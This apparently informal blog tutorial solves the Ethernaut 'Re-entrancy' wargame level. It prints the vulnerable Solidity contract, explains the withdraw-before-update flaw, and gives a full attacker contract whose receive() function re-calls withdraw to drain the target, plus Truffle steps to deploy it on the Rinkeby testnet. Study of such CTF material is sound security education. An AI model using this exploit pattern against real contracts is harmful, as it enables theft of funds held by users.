Sometimes it's necessary to atack your target contract with another one. And sometimes attacker should create and deploy another contract. There are many options to accomplish it, some of them are Truffle, Remix, Hardhat and Replit. Here I want to write about how to do so with Truffle.
We are going to discuss Re-entrancy contract from Ethernaut.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
if it happens that you don't know how to attack this contract, it's all right! That's why we are here.
Let me tell you how really quick.
Take a look at withdraw function. Do you see the line with msg.sender.call
? And there is no data specified (here -> ("")
).
This means that Re-entrancy
contract just sends the amount
of ethers on msg.sender
address. And since there are
no specified data, if msg.sender
is another contract, this means that a fallback function will be invoked.
And down below we see line balances[msg.sender] -= _amount;
. But it's done only after fallback function was invoked!
This is our attack vector. Why? It happend that solidity handles one line of a code at a time. And if attacker-contract is
be able to call this withdraw
method from its fallback function - this means that fallback function will be invoked again
multiple times! See:
withdraw() ->
fallback() calles withdraw again ->
withdraw() runs from the beginning and invokes fallback() ->
and so on...
Because _amount
will always be less than balances[msg.sender]
. In fact during the process balances[msg.sender]
will never go down.
Okay! We got it! If you didn't get it - don't worry, take a look at a contract down below, it may help. Let's now implement the attacker contract with Truffle, shall we?
> truffle init
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Reentrance {
function donate(address _to) external payable;
function balanceOf(address _who) external view returns (uint256 balance);
function withdraw(uint256 _amount) external;
}
contract ReEntrancyAttack {
Reentrance instance =
Reentrance(0x5eAa81eF525aDD08559E49df238F10d13355E64C);
uint64 public decimals = 10**15;
function donate() public payable {
instance.donate{value: msg.value}(address(this));
}
function attack(uint256 _amount) public {
instance.withdraw(_amount);
}
function withdraw() public {
(msg.sender).call{value: address(this).balance}("");
}
receive() external payable {
if (address(instance).balance >= decimals) {
instance.withdraw(decimals);
}
}
}
> truffle compile
> truffle console --network rinkeby
From truffle console you don't need to specify truffle keyword again, so to migrate your contracts you can just invoke them like that
> migrate -f 2 -to 2
> ... bunch of stuff ...
> const contract = reentrancyAttacker.deployed()
You can simply run your methods
await contract.youMethod(your arguments)
That's it! Let me know if you enjoyed :)